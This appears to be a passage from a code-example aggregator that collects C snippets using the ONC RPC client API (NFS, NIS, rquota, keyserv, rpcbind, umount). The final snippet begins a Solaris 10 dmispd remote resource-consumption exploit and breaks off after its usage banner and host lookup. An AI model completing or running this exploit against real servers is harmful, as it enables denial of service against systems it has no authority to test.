               strcpy( host, optarg ) ;
            }
          else
            {
              adresse_serveur = inet_addr( optarg ) ;
            }
          break;

        case 's':
          /* Un nom ou un numero de service a ete indique */
          if( isalpha( (int)*optarg ) )
            {
              /* Ca commence pas par un chiffre donc c'est un nom service */
              if( ( etc_rpc = getrpcbyname( optarg ) ) == NULL )
                {
                  fprintf( stderr, "Impossible de resoudre le service %s\n", optarg ) ;
                }
              else
                {
                  rpc_service_num = etc_rpc->r_number ;
                }
            }
          else
            {
              /* C'est un numero de service qui est indique */
              rpc_service_num = atoi( optarg ) ;
            }
          break ;

        case 'v':
           /* numero de version */
           rpc_version = atoi( optarg ) ;
           break ;

        case 'p':
           rpcproc = atoi( optarg ) ;
           break ;

        case 'I':
	   strcpy( ifname, optarg ) ;
           break ; 

        case 'h':
        case '?':
        default:
          /* Affichage de l'aide en ligne */
          fprintf( stderr, utilisation, nom_exec ) ;
          exit( 0 ) ;
          break ;
        }
    }
  
  if( ( client = Creer_RPCClient( host, rpc_service_num, rpc_version, port , RPC_ANYSOCK ) ) == NULL )
    {
      char erreur[100] ;
      strcpy( erreur, clnt_spcreateerror( "Creation RPC" ) ) ;
      fprintf( stderr, "Creation RPC: %s\n", erreur ) ;
      exit( 1 ) ;
    }

  client->cl_auth = authunix_create_default();

  compound4_args.tag.utf8string_len = 0 ; /* No Tag */
  compound4_args.minorversion = 0 ;
  compound4_args.argarray.argarray_len = 1 ;
  compound4_args.argarray.argarray_val = (struct nfs_argop4 * )malloc( sizeof( struct nfs_argop4 ) ) ;
  compound4_args.argarray.argarray_val[0].argop = NFS4_OP_PUTROOTFH ; /* This operation requires no argument */

  fprintf( stderr, "requete v4\n" ) ;
  if( ( rc = clnt_call(  client, 1,
                        (xdrproc_t)xdr_COMPOUND4args, (caddr_t)&compound4_args,
                        (xdrproc_t)xdr_COMPOUND4res, (caddr_t)&compound4_res,
                        intervalle ) ) != RPC_SUCCESS )
    {
      clnt_perror( client, "appel a  NFSPROC4_COMPOUND\n" ) ;
      exit ( 1 ) ;
    }
  fprintf( stderr, "Requete v4 OK\n"  ) ;

  auth_destroy( client->cl_auth ) ;  
  clnt_destroy( client ) ;
}
Пример #7
0
/*
 *  Get an AUTH handle for a RPC client based on the given sec_data.
 *  If an AUTH handle exists for the same sec_data, use that AUTH handle,
 *  otherwise create a new one.
 */
int
sec_clnt_geth(CLIENT *client, struct sec_data *secdata, cred_t *cr, AUTH **ap)
{
	int i;
	struct desauthent *da;
	int authflavor;
	cred_t *savecred;
	int stat;			/* return (errno) status */
	char gss_svc_name[MAX_GSS_NAME];
	dh_k4_clntdata_t	*desdata;
	AUTH *auth;
	gss_clntdata_t *gssdata;
	zoneid_t zoneid = getzoneid();

	if ((client == NULL) || (secdata == NULL) || (ap == NULL))
		return (EINVAL);
	*ap = (AUTH *)NULL;

	authflavor = secdata->rpcflavor;
	for (;;) {
		int nlen;
		char *netname;

		switch (authflavor) {
		case AUTH_NONE:
			*ap = (AUTH *) authnone_create();
			return ((*ap != NULL) ? 0 : EINTR);

		case AUTH_UNIX:
			*ap = (AUTH *) authkern_create();
			return ((*ap != NULL) ? 0 : EINTR);

		case AUTH_LOOPBACK:
			*ap = (AUTH *) authloopback_create();
			return ((*ap != NULL) ? 0 : EINTR);

		case AUTH_DES:
			mutex_enter(&desauthtab_lock);
			if (desauthtab == NULL) {
				desauthtab = kmem_zalloc(clnt_authdes_cachesz *
				    sizeof (struct desauthent), KM_SLEEP);
			}
			for (da = desauthtab;
			    da < &desauthtab[clnt_authdes_cachesz];
			    da++) {
				if (da->da_data == secdata &&
				    da->da_uid == crgetuid(cr) &&
				    da->da_zoneid == zoneid &&
				    !da->da_inuse &&
				    da->da_auth != NULL) {
					da->da_inuse = 1;
					mutex_exit(&desauthtab_lock);
					*ap = da->da_auth;
					return (0);
				}
			}
			mutex_exit(&desauthtab_lock);

			/*
			 *  A better way would be to have a cred paramater to
			 *  authdes_create.
			 */
			savecred = curthread->t_cred;
			curthread->t_cred = cr;

			/*
			 * Note that authdes_create() expects a
			 * NUL-terminated string for netname, but
			 * dh_k4_clntdata_t gives us netname & netnamelen.
			 *
			 * We must create a string for authdes_create();
			 * the latter takes a copy of it, so we may
			 * immediately free it.
			 */
			desdata = (dh_k4_clntdata_t *)secdata->data;
			nlen = desdata->netnamelen;
			/* must be NUL-terminated */
			netname = kmem_zalloc(nlen + 1, KM_SLEEP);
			bcopy(desdata->netname, netname, nlen);
			stat = authdes_create(netname, authdes_win,
			    &desdata->syncaddr, desdata->knconf,
			    (des_block *)NULL,
			    (secdata->flags & AUTH_F_RPCTIMESYNC) ? 1 : 0,
			    &auth);
			kmem_free(netname, nlen + 1);

			curthread->t_cred = savecred;
			*ap = auth;

			if (stat != 0) {
				/*
				 *  If AUTH_F_TRYNONE is on, try again
				 *  with AUTH_NONE.  See bug 1180236.
				 */
				if (secdata->flags & AUTH_F_TRYNONE) {
					authflavor = AUTH_NONE;
					continue;
				} else
					return (stat);
			}

			i = clnt_authdes_cachesz;
			mutex_enter(&desauthtab_lock);
			do {
				da = &desauthtab[nextdesvictim++];
				nextdesvictim %= clnt_authdes_cachesz;
			} while (da->da_inuse && --i > 0);

			if (da->da_inuse) {
				mutex_exit(&desauthtab_lock);
				/* overflow of des auths */
				return (stat);
			}
			da->da_inuse = 1;
			mutex_exit(&desauthtab_lock);

			if (da->da_auth != NULL)
				auth_destroy(da->da_auth);

			da->da_auth = auth;
			da->da_uid = crgetuid(cr);
			da->da_zoneid = zoneid;
			da->da_data = secdata;
			return (stat);

		case RPCSEC_GSS:
			/*
			 *  For RPCSEC_GSS, cache is done in rpc_gss_secget().
			 *  For every rpc_gss_secget(),  it should have
			 *  a corresponding rpc_gss_secfree() call.
			 */
			gssdata = (gss_clntdata_t *)secdata->data;
			(void) sprintf(gss_svc_name, "%s@%s", gssdata->uname,
			    gssdata->inst);

			stat = rpc_gss_secget(client, gss_svc_name,
			    &gssdata->mechanism,
			    gssdata->service,
			    gssdata->qop,
			    NULL, NULL,
			    (caddr_t)secdata, cr, &auth);
			*ap = auth;

			/* success */
			if (stat == 0)
				return (stat);

			/*
			 * let the caller retry if connection timedout
			 * or reset.
			 */
			if (stat == ETIMEDOUT || stat == ECONNRESET)
				return (stat);

			/*
			 *  If AUTH_F_TRYNONE is on, try again
			 *  with AUTH_NONE.  See bug 1180236.
			 */
			if (secdata->flags & AUTH_F_TRYNONE) {
				authflavor = AUTH_NONE;
				continue;
			}

			RPCLOG(1, "sec_clnt_geth: rpc_gss_secget"
			    " failed with %d", stat);
			return (stat);

		default:
			/*
			 * auth create must have failed, try AUTH_NONE
			 * (this relies on AUTH_NONE never failing)
			 */
			cmn_err(CE_NOTE, "sec_clnt_geth: unknown "
			    "authflavor %d, trying AUTH_NONE", authflavor);
			authflavor = AUTH_NONE;
		}
	}
}
Пример #8
0
log_result *
nis_dumplog(
	nis_server	*host,	/* Server to talk to		*/
	nis_name	name,	/* Directory name to dump.	*/
	uint32_t	dtime)	/* Last _valid_ timestamp.	*/
{
	CLIENT			*clnt;
	dump_args		da;
	struct timeval		tv;
	enum clnt_stat		stat;
	log_result	*result_ptr;

	result_ptr = calloc(1, sizeof (log_result));
	if (result_ptr == NULL) {
		syslog(LOG_ERR, "nis_dumplog: Client out of memory.");
		return (NULL);
	}

	clnt = nis_make_rpchandle(host, 0, NIS_PROG, NIS_VERSION,
				ZMH_VC+ZMH_AUTH, 0, 0);
	if (! clnt) {
		result_ptr->lr_status = NIS_NAMEUNREACHABLE;
		return (result_ptr);
	}
	(void) memset((char *)&da, 0, sizeof (da));
	da.da_dir = name;
	da.da_time = dtime;
	tv.tv_sec = NIS_DUMP_TIMEOUT;
	tv.tv_usec = 0;
	stat = clnt_call(clnt, NIS_DUMPLOG,
			xdr_dump_args, (char *)&da,
			xdr_log_result, (char *)result_ptr, tv);
	auth_destroy(clnt->cl_auth);
	clnt_destroy(clnt);

	/*
	 * Now see if the RPC succeeded. Note that we have
	 * to check for local vs. remote errors in order to
	 * know whether the contents of the log_result record
	 * (result_ptr) are meaningful.
	 */
	switch (stat) {
	case RPC_CANTENCODEARGS:
	case RPC_CANTDECODERES:
	case RPC_CANTSEND:
	case RPC_CANTRECV:
	case RPC_TIMEDOUT:
	case RPC_INTR:
		syslog(LOG_WARNING, "nis_dumplog: RPC error %d", stat);
		/*
		 * This is a local error, so just return a
		 * generic RPC error.
		 */
		result_ptr->lr_status = NIS_RPCERROR;
		break;

	default:
		/*
		 * All other return values mean that result_ptr
		 * already has a valid status code.
		 */
		break;
	}

	return (result_ptr);
}
Пример #9
0
log_result *
nis_dump(
	nis_server	*host,	/* Server to talk to		*/
	nis_name	name,	/* Directory name to dump.	*/
	int		(*cback)()) /* Callback function	*/
{
	CLIENT			*clnt;
	dump_args		da;
	struct timeval		tv;
	enum clnt_stat		stat;
	int			err;
	log_result		*result_ptr;

	result_ptr = calloc(1, sizeof (log_result));
	if (result_ptr == NULL) {
		syslog(LOG_ERR, "nis_dump: Client out of memory.");
		return (NULL);
	}

	clnt = nis_make_rpchandle(host, 0, NIS_PROG, NIS_VERSION,
				ZMH_VC+ZMH_AUTH, 0, 0);
	if (!clnt) {
		result_ptr->lr_status = NIS_NAMEUNREACHABLE;
		return (result_ptr);
	}
	(void) mutex_lock(&__nis_callback_lock);
	(void) memset((char *)&da, 0, sizeof (da));
	da.da_dir = name;
	da.da_time = 0;
	da.da_cbhost.da_cbhost_len = 1;
	da.da_cbhost.da_cbhost_val = __nis_init_dump_callback(clnt, cback,
								NULL);
	if (! da.da_cbhost.da_cbhost_val) {
		(void) mutex_unlock(&__nis_callback_lock);
		result_ptr->lr_status = NIS_CBERROR;
		auth_destroy(clnt->cl_auth);
		clnt_destroy(clnt);
		return (result_ptr);
	}

	/*
	 * The value of the NIS_DUMP_TIMEOUT is applicable only for the
	 * dump to get initiated.
	 */
	tv.tv_sec = NIS_DUMP_TIMEOUT;
	tv.tv_usec = 0;
	stat = clnt_call(clnt, NIS_DUMP, xdr_dump_args, (char *)&da,
			xdr_log_result, (char *)result_ptr, tv);
	if (stat != RPC_SUCCESS) {
		result_ptr->lr_status = NIS_RPCERROR;
	} else if (result_ptr->lr_status == NIS_CBRESULTS) {
		(*__clear_directory_ptr)(name);
		err = __nis_run_dump_callback(&(result_ptr->lr_cookie),
					NIS_CALLBACK, 0, clnt);
		if (err < 0)
			result_ptr->lr_status = NIS_CBERROR;
	}
	(void) mutex_unlock(&__nis_callback_lock);
	auth_destroy(clnt->cl_auth);
	clnt_destroy(clnt);
	return (result_ptr);
}
Пример #10
0
/*
 * Set the requested quota information on a remote host.
 */
int rpc_rquota_set(int qcmd, struct dquot *dquot)
{
#if defined(RPC_SETQUOTA)
	CLIENT *clnt;
	setquota_rslt *result;
	union {
		setquota_args arg;
		ext_setquota_args ext_arg;
	} args;
	char *fsname_tmp, *host, *pathname;
	struct timeval timeout = { 2, 0 };
	int rquotaprog_not_registered = 0;
	int ret;

	/* RPC limits values to 32b variables. Prevent value wrapping. */
	if (check_dquot_range(dquot) < 0)
		return -ERANGE;

	/*
	 * Convert host:pathname to seperate host and pathname.
	 */
	fsname_tmp = (char *)smalloc(strlen(dquot->dq_h->qh_quotadev) + 1);
	strcpy(fsname_tmp, dquot->dq_h->qh_quotadev);
	if (!split_nfs_mount(fsname_tmp, &host, &pathname)) {
		free(fsname_tmp);
		return -ENOENT;
	}

	/* For NFSv4, we send the filesystem path without initial /. Server prepends proper
	 * NFS pseudoroot automatically and uses this for detection of NFSv4 mounts. */
	if ((dquot->dq_h->qh_io_flags & IOFL_NFS_MIXED_PATHS) &&
	    !strcmp(dquot->dq_h->qh_fstype, MNTTYPE_NFS4)) {
		while (*pathname == '/')
			pathname++;
	}

	/*
	 * First try EXT_RQUOTAPROG (Extended (LINUX) RPC quota program)
	 */
	args.ext_arg.sqa_qcmd = qcmd;
	args.ext_arg.sqa_pathp = pathname;
	args.ext_arg.sqa_id = dquot->dq_id;
	args.ext_arg.sqa_type = dquot->dq_h->qh_type;
	cliutil2netdqblk(&args.ext_arg.sqa_dqblk, &dquot->dq_dqb);

	if ((clnt = clnt_create(host, RQUOTAPROG, EXT_RQUOTAVERS, "udp")) != NULL) {
		/*
		 * Initialize unix authentication
		 */
		clnt->cl_auth = authunix_create_default();

		/*
		 * Setup protocol timeout.
		 */
		clnt_control(clnt, CLSET_TIMEOUT, (caddr_t) & timeout);

		/*
		 * Do RPC call and check result.
		 */
		result = rquotaproc_setquota_2(&args.ext_arg, clnt);
		if (result != NULL && result->status == Q_OK)
			clinet2utildqblk(&dquot->dq_dqb, &result->setquota_rslt_u.sqr_rquota);

		/*
		 * Destroy unix authentication and RPC client structure.
		 */
		auth_destroy(clnt->cl_auth);
		clnt_destroy(clnt);
	}
	else {
		result = NULL;
		if (rpc_createerr.cf_stat == RPC_PROGNOTREGISTERED)
			rquotaprog_not_registered = 1;
	}

	if (result == NULL || !result->status) {
		if (dquot->dq_h->qh_type == USRQUOTA) {
			/*
			 * Try RQUOTAPROG because server doesn't seem to understand EXT_RQUOTAPROG. (NON-LINUX servers.)
			 */
			args.arg.sqa_qcmd = qcmd;
			args.arg.sqa_pathp = pathname;
			args.arg.sqa_id = dquot->dq_id;
			cliutil2netdqblk(&args.arg.sqa_dqblk, &dquot->dq_dqb);

			/*
			 * Create a RPC client.
			 */
			if ((clnt = clnt_create(host, RQUOTAPROG, RQUOTAVERS, "udp")) != NULL) {
				/*
				 * Initialize unix authentication
				 */
				clnt->cl_auth = authunix_create_default();

				/*
				 * Setup protocol timeout.
				 */
				clnt_control(clnt, CLSET_TIMEOUT, (caddr_t) & timeout);

				/*
				 * Do RPC call and check result.
				 */
				result = rquotaproc_setquota_1(&args.arg, clnt);
				if (result != NULL && result->status == Q_OK)
					clinet2utildqblk(&dquot->dq_dqb,
							 &result->setquota_rslt_u.sqr_rquota);

				/*
				 * Destroy unix authentication and RPC client structure.
				 */
				auth_destroy(clnt->cl_auth);
				clnt_destroy(clnt);
			} else {
				result = NULL;
				if (rpc_createerr.cf_stat == RPC_PROGNOTREGISTERED)
					rquotaprog_not_registered = 1;
			}
		}
	}
	free(fsname_tmp);
	if (result)
		ret = result->status;
	else if (rquotaprog_not_registered)
		ret = Q_NOQUOTA;
	else
		ret = -1;
	return rquota_err(ret);
#endif
	return -1;
}
Пример #11
0
/*
 * Keep the handle cached.  This call may be made quite often.
 */
static CLIENT *
getkeyserv_handle(int vers)
{
	void *localhandle;
	struct netconfig *nconf;
	struct netconfig *tpconf;
	struct key_call_private *kcp = key_call_private_main;
	struct timeval wait_time;
	struct utsname u;
	int main_thread;
	int fd;
	static thread_key_t key_call_key;

#define	TOTAL_TIMEOUT	30	/* total timeout talking to keyserver */
#define	TOTAL_TRIES	5	/* Number of tries */

	if ((main_thread = thr_main())) {
		kcp = key_call_private_main;
	} else {
		if (key_call_key == 0) {
			mutex_lock(&tsd_lock);
			if (key_call_key == 0)
				thr_keycreate(&key_call_key, key_call_destroy);
			mutex_unlock(&tsd_lock);
		}
		kcp = (struct key_call_private *)thr_getspecific(key_call_key);
	}
	if (kcp == NULL) {
		kcp = (struct key_call_private *)malloc(sizeof (*kcp));
		if (kcp == NULL) {
			return (NULL);
		}
		if (main_thread)
			key_call_private_main = kcp;
		else
			thr_setspecific(key_call_key, (void *) kcp);
		kcp->client = NULL;
	}

	/* if pid has changed, destroy client and rebuild */
	if (kcp->client != NULL && kcp->pid != getpid()) {
		clnt_destroy(kcp->client);
		kcp->client = NULL;
	}

	if (kcp->client != NULL) {
		/* if uid has changed, build client handle again */
		if (kcp->uid != geteuid()) {
			kcp->uid = geteuid();
			auth_destroy(kcp->client->cl_auth);
			kcp->client->cl_auth =
				authsys_create("", kcp->uid, 0, 0, NULL);
			if (kcp->client->cl_auth == NULL) {
				clnt_destroy(kcp->client);
				kcp->client = NULL;
				return (NULL);
			}
		}
		/* Change the version number to the new one */
		clnt_control(kcp->client, CLSET_VERS, (void *)&vers);
		return (kcp->client);
	}
	if (!(localhandle = setnetconfig())) {
		return (NULL);
	}
	tpconf = NULL;
	if (uname(&u) == -1)
	{
		endnetconfig(localhandle);
		return (NULL);
	}
	while ((nconf = getnetconfig(localhandle)) != NULL) {
		if (strcmp(nconf->nc_protofmly, NC_LOOPBACK) == 0) {
			/*
			 * We use COTS_ORD here so that the caller can
			 * find out immediately if the server is dead.
			 */
			if (nconf->nc_semantics == NC_TPI_COTS_ORD) {
				kcp->client = clnt_tp_create(u.nodename,
					KEY_PROG, vers, nconf);
				if (kcp->client)
					break;
			} else {
				tpconf = nconf;
			}
		}
	}
	if ((kcp->client == NULL) && (tpconf))
		/* Now, try the CLTS or COTS loopback transport */
		kcp->client = clnt_tp_create(u.nodename,
			KEY_PROG, vers, tpconf);
	endnetconfig(localhandle);

	if (kcp->client == NULL) {
		return (NULL);
	}
	kcp->uid = geteuid();
	kcp->pid = getpid();
	kcp->client->cl_auth = authsys_create("", kcp->uid, 0, 0, NULL);
	if (kcp->client->cl_auth == NULL) {
		clnt_destroy(kcp->client);
		kcp->client = NULL;
		return (NULL);
	}

	wait_time.tv_sec = TOTAL_TIMEOUT/TOTAL_TRIES;
	wait_time.tv_usec = 0;
	clnt_control(kcp->client, CLSET_RETRY_TIMEOUT,
		(char *)&wait_time);
	if (clnt_control(kcp->client, CLGET_FD, (char *)&fd))
		_fcntl(fd, F_SETFD, 1);	/* make it "close on exec" */

	return (kcp->client);
}
Пример #12
0
int
yp_update(char *domain, char *map, unsigned op, char *key, int keylen,
							char *data, int datalen)
{
	struct ypupdate_args args;
	uint_t rslt;
	struct timeval total;
	CLIENT *client;
	char *ypmaster;
	char ypmastername[MAXNETNAMELEN+1];
	enum clnt_stat stat;
	uint_t proc;

	switch (op) {
	case YPOP_DELETE:
		proc = YPU_DELETE;
		break;
	case YPOP_INSERT:
		proc = YPU_INSERT;
		break;
	case YPOP_CHANGE:
		proc = YPU_CHANGE;
		break;
	case YPOP_STORE:
		proc = YPU_STORE;
		break;
	default:
		return (YPERR_BADARGS);
	}
	if (yp_master(domain, map, &ypmaster) != 0) {
		debug("no master found");
		return (YPERR_BADDB);
	}

	client = clnt_create(ypmaster, YPU_PROG, YPU_VERS, "circuit_n");
	if (client == NULL) {
#ifdef DEBUG
		/* CONSTCOND */
		if (debugging) {
			clnt_pcreateerror("client create failed");
		}
#endif /* DEBUG */
		free(ypmaster);
		return (YPERR_RPC);
	}

	if (!host2netname(ypmastername, ypmaster, domain)) {
		clnt_destroy(client);
		free(ypmaster);
		return (YPERR_BADARGS);
	}
	client->cl_auth = authdes_seccreate(ypmastername, WINDOW,
				ypmaster, NULL);
	free(ypmaster);
	if (client->cl_auth == NULL) {
		debug("auth create failed");
		clnt_destroy(client);
		return (YPERR_RPC);
	}

	args.mapname = map;
	args.key.yp_buf_len = keylen;
	args.key.yp_buf_val = key;
	args.datum.yp_buf_len = datalen;
	args.datum.yp_buf_val = data;

	total.tv_sec = TOTAL_TIMEOUT;
	total.tv_usec = 0;
	clnt_control(client, CLSET_TIMEOUT, (char *)&total);
	stat = clnt_call(client, proc,
		xdr_ypupdate_args, (char *)&args,
		xdr_u_int, (char *)&rslt, total);

	if (stat != RPC_SUCCESS) {
#ifdef DEBUG
		debug("ypupdate RPC call failed");
		/* CONSTCOND */
		if (debugging)
			clnt_perror(client, "ypupdate call failed");
#endif /* DEBUG */
		rslt = YPERR_RPC;
	}
	auth_destroy(client->cl_auth);
	clnt_destroy(client);
	return (rslt);
}
Пример #13
0
main( int argc, char * argv[] ) 
{
  struct timeval   intervalle = { TIMEOUT_SEC, 0 };
  CLIENT *         client ;
  int              c ;  
  struct rpcent *  etc_rpc ;               /* pour consulter /etc/rpc ou rpc.bynumber */
  unsigned int     adresse_serveur ;  /* Au format NET */
  struct hostent * hp ;
  char             nom_exec[MAXPATHLEN] ;
  char             machine_locale[256] ;
  char *           tempo_nom_exec  = NULL ;
  unsigned int     rpc_service_num = DEFAULT_RPC_SERVICE ;
  unsigned int     rpc_version = V1 ;
  unsigned int     rpcproc = PROC_PLUS1 ;
  unsigned short   port =  ntohs( DEFAULT_PORT ) ;
  int              val = 2 ;
  int              rc ;
  char             gss_service[1024] ;
  char             host[100] ;

  strcpy( ifname, "eth0" ) ;
  
   /* On recupere le nom de l'executable */
  if( ( tempo_nom_exec = strrchr( argv[0], '/' ) ) != NULL )
    strcpy( (char *)nom_exec, tempo_nom_exec + 1 ) ;
  
  strcpy( ifname, "eth0" ) ;

  while( ( c = getopt( argc, argv, options ) ) != EOF )
    {
      switch( c )
        {
        case 'd':
          /* Cette option permet de recuperer un nom pour la machine distante */
          if( isalpha( *optarg ) )
            {
               strcpy( host, optarg ) ;
            }
          else
            {
              adresse_serveur = inet_addr( optarg ) ;
            }
          break;

        case 's':
          /* Un nom ou un numero de service a ete indique */
          if( isalpha( (int)*optarg ) )
            {
              /* Ca commence pas par un chiffre donc c'est un nom service */
              if( ( etc_rpc = getrpcbyname( optarg ) ) == NULL )
                {
                  fprintf( stderr, "Impossible de resoudre le service %s\n", optarg ) ;
                }
              else
                {
                  rpc_service_num = etc_rpc->r_number ;
                }
            }
          else
            {
              /* C'est un numero de service qui est indique */
              rpc_service_num = atoi( optarg ) ;
            }
          break ;

        case 'v':
           /* numero de version */
           rpc_version = atoi( optarg ) ;
           break ;

        case 'p':
           rpcproc = atoi( optarg ) ;
           break ;

        case 'I':
	   strcpy( ifname, optarg ) ;
           break ; 

        case 'h':
        case '?':
        default:
          /* Affichage de l'aide en ligne */
          fprintf( stderr, utilisation, nom_exec ) ;
          exit( 0 ) ;
          break ;
        }
    }
  
  if( ( client = Creer_RPCClient( host, rpc_service_num, rpc_version, port , RPC_ANYSOCK ) ) == NULL )
    {
      char erreur[100] ;
      strcpy( erreur, clnt_spcreateerror( "Creation RPC" ) ) ;
      fprintf( stderr, "Creation RPC: %s\n", erreur ) ;
      exit( 1 ) ;
    }

  client->cl_auth = authunix_create_default();

  val = 2 ;
  fprintf( stderr, "J'envoie la valeur %d\n", val ) ;
  if( ( rc = clnt_call( client, rpcproc, 
                        (xdrproc_t)xdr_int, (caddr_t)&val, 
                        (xdrproc_t)xdr_int, (caddr_t)&val, 
                        intervalle ) ) != RPC_SUCCESS )
    {
      clnt_perror( client, "appel a  FIXE_RET\n" ) ;
      exit ( 1 ) ;
    }
  fprintf( stderr, "Je recois la valeur %d\n", val ) ;

  auth_destroy( client->cl_auth ) ;  
  clnt_destroy( client ) ;
}
Пример #14
0
int
umountfs(char *oname)
{
	enum clnt_stat clnt_stat;
	struct hostent *hp;
	struct sockaddr_in saddr;
	struct stat sb;
	struct timeval pertry, try;
	CLIENT *clp;
	int so;
	char *delimp, *hostp, *mntpt;
	char *name, *newname, rname[MAXPATHLEN], type[MFSNAMELEN];

	if (realpath(oname, rname) == NULL)
		mntpt = name = oname;
	else
		mntpt = name = rname;
	newname = NULL;

	/* If we can stat the file, check to see if it is a device or non-dir */
	if (stat(name, &sb) == 0) {
	    if (S_ISBLK(sb.st_mode)) {
		if ((mntpt = getmntname(name, MNTON, type)) == NULL) {
			warnx("%s: not currently mounted", name);
			return (1);
		}
	    } else if (!S_ISDIR(sb.st_mode)) {
		warnx("%s: not a directory or special device", name);
		return (1);
	    }
	}

	/*
	 * Look up the name in the mount table.
	 * 99.9% of the time the path in the kernel is the one
	 * realpath() returns but check the original just in case...
	 */
	if (!(newname = getmntname(name, MNTFROM, type)) &&
	    !(mntpt = getmntname(name, MNTON, type)) ) {
		mntpt = oname;
		if (!(newname = getmntname(oname, MNTFROM, type)) &&
		    !(mntpt = getmntname(oname, MNTON, type))) {
			warnx("%s: not currently mounted", oname);
			return (1);
		}
	}
	if (newname)
		name = newname;

	if (!selected(type))
		return (1);

	if (!strncmp(type, MOUNT_NFS, MFSNAMELEN)) {
		if ((delimp = strchr(name, '@')) != NULL) {
			hostp = delimp + 1;
			*delimp = '\0';
			hp = gethostbyname(hostp);
			*delimp = '@';
		} else if ((delimp = strchr(name, ':')) != NULL) {
			*delimp = '\0';
			hostp = name;
			hp = gethostbyname(hostp);
			name = delimp + 1;
			*delimp = ':';
		} else
			hp = NULL;
		if (!namematch(hp))
			return (1);
	}

	if (verbose)
		(void)printf("%s: unmount from %s\n", name, mntpt);

	if (unmount(mntpt, fflag) < 0) {
		warn("%s", mntpt);
		return (1);
	}

	if (!strncmp(type, MOUNT_NFS, MFSNAMELEN) &&
	    (hp != NULL) && !(fflag & MNT_FORCE)) {
		*delimp = '\0';
		memset(&saddr, 0, sizeof(saddr));
		saddr.sin_family = AF_INET;
		saddr.sin_port = 0;
		memmove(&saddr.sin_addr, hp->h_addr, hp->h_length);
		pertry.tv_sec = 3;
		pertry.tv_usec = 0;
		so = RPC_ANYSOCK;
		if ((clp = clntudp_create(&saddr,
		    RPCPROG_MNT, RPCMNT_VER1, pertry, &so)) == NULL) {
			clnt_pcreateerror("Cannot MNT PRC");
			return (1);
		}
		clp->cl_auth = authunix_create_default();
		try.tv_sec = 20;
		try.tv_usec = 0;
		clnt_stat = clnt_call(clp,
		    RPCMNT_UMOUNT, xdr_dir, name, xdr_void, (caddr_t)0, try);
		if (clnt_stat != RPC_SUCCESS) {
			clnt_perror(clp, "Bad MNT RPC");
			return (1);
		}
		auth_destroy(clp->cl_auth);
		clnt_destroy(clp);
	}
Пример #15
0
enum clnt_stat
rpcbind_getaddr(struct knetconfig *config, rpcprog_t prog, rpcvers_t vers,
    struct netbuf *addr)
{
	char *ua = NULL;
	enum clnt_stat status;
	RPCB parms;
	struct timeval tmo;
	CLIENT *client = NULL;
	k_sigset_t oldmask;
	k_sigset_t newmask;
	ushort_t port;
	int iptype;

	/*
	 * Call rpcbind (local or remote) to get an address we can use
	 * in an RPC client handle.
	 */
	tmo.tv_sec = RPC_PMAP_TIMEOUT;
	tmo.tv_usec = 0;
	parms.r_prog = prog;
	parms.r_vers = vers;
	parms.r_addr = parms.r_owner = "";

	if (strcmp(config->knc_protofmly, NC_INET) == 0) {
		if (strcmp(config->knc_proto, NC_TCP) == 0)
			parms.r_netid = "tcp";
		else
			parms.r_netid = "udp";
		put_inet_port(addr, htons(PMAPPORT));
	} else if (strcmp(config->knc_protofmly, NC_INET6) == 0) {
		if (strcmp(config->knc_proto, NC_TCP) == 0)
			parms.r_netid = "tcp6";
		else
			parms.r_netid = "udp6";
		put_inet6_port(addr, htons(PMAPPORT));
	} else if (strcmp(config->knc_protofmly, NC_LOOPBACK) == 0) {
		ASSERT(strnrchr(addr->buf, '.', addr->len) != NULL);
		if (config->knc_semantics == NC_TPI_COTS_ORD)
			parms.r_netid = "ticotsord";
		else if (config->knc_semantics == NC_TPI_COTS)
			parms.r_netid = "ticots";
		else
			parms.r_netid = "ticlts";

		put_loopback_port(addr, "rpc");
	} else {
		status = RPC_UNKNOWNPROTO;
		goto out;
	}

	/*
	 * Mask signals for the duration of the handle creation and
	 * RPC calls.  This allows relatively normal operation with a
	 * signal already posted to our thread (e.g., when we are
	 * sending an NLM_CANCEL in response to catching a signal).
	 *
	 * Any further exit paths from this routine must restore
	 * the original signal mask.
	 */
	sigfillset(&newmask);
	sigreplace(&newmask, &oldmask);

	if (clnt_tli_kcreate(config, addr, RPCBPROG,
	    RPCBVERS, 0, 0, CRED(), &client)) {
		status = RPC_TLIERROR;
		sigreplace(&oldmask, (k_sigset_t *)NULL);
		goto out;
	}

	client->cl_nosignal = 1;
	if ((status = CLNT_CALL(client, RPCBPROC_GETADDR,
	    xdr_rpcb, (char *)&parms,
	    xdr_wrapstring, (char *)&ua,
	    tmo)) != RPC_SUCCESS) {
		sigreplace(&oldmask, (k_sigset_t *)NULL);
		goto out;
	}

	sigreplace(&oldmask, (k_sigset_t *)NULL);

	if (ua == NULL || *ua == NULL) {
		status = RPC_PROGNOTREGISTERED;
		goto out;
	}

	/*
	 * Convert the universal address to the transport address.
	 * Theoretically, we should call the local rpcbind to translate
	 * from the universal address to the transport address, but it gets
	 * complicated (e.g., there's no direct way to tell rpcbind that we
	 * want an IP address instead of a loopback address).  Note that
	 * the transport address is potentially host-specific, so we can't
	 * just ask the remote rpcbind, because it might give us the wrong
	 * answer.
	 */
	if (strcmp(config->knc_protofmly, NC_INET) == 0) {
		/* make sure that the ip address is the correct type */
		if (rpc_iptype(ua, &iptype) != 0) {
			status = RPC_UNKNOWNADDR;
			goto out;
		}
		port = rpc_uaddr2port(iptype, ua);
		put_inet_port(addr, ntohs(port));
	} else if (strcmp(config->knc_protofmly, NC_INET6) == 0) {
		/* make sure that the ip address is the correct type */
		if (rpc_iptype(ua, &iptype) != 0) {
			status = RPC_UNKNOWNADDR;
			goto out;
		}
		port = rpc_uaddr2port(iptype, ua);
		put_inet6_port(addr, ntohs(port));
	} else if (strcmp(config->knc_protofmly, NC_LOOPBACK) == 0) {
		loopb_u2t(ua, addr);
	} else {
		/* "can't happen" - should have been checked for above */
		cmn_err(CE_PANIC, "rpcbind_getaddr: bad protocol family");
	}

out:
	if (client != NULL) {
		auth_destroy(client->cl_auth);
		clnt_destroy(client);
	}
	if (ua != NULL)
		xdr_free(xdr_wrapstring, (char *)&ua);
	return (status);
}
Пример #16
0
int main(int argc, char *argv[])
{

char b[SIZE], *buf, *target = argv[1];
int i, usock = RPC_ANYSOCK;

struct hostent *hp;
struct sockaddr_in us;

struct timeval tm={10, 0};

CLIENT *cli;
enum clnt_stat clnt_stat;

if(argc < 2)
{

     printf("\nSun Solaris 10 RPC dmispd Remote Resource Consumption Exploit\n");
     printf("Usage: %s <target>\n\n", argv[0]);

     return 0;

}

     printf("\nSun Solaris 10 RPC dmispd Remote Resource Consumption Exploit\n");

if((hp = gethostbyname(target)) == NULL)
{

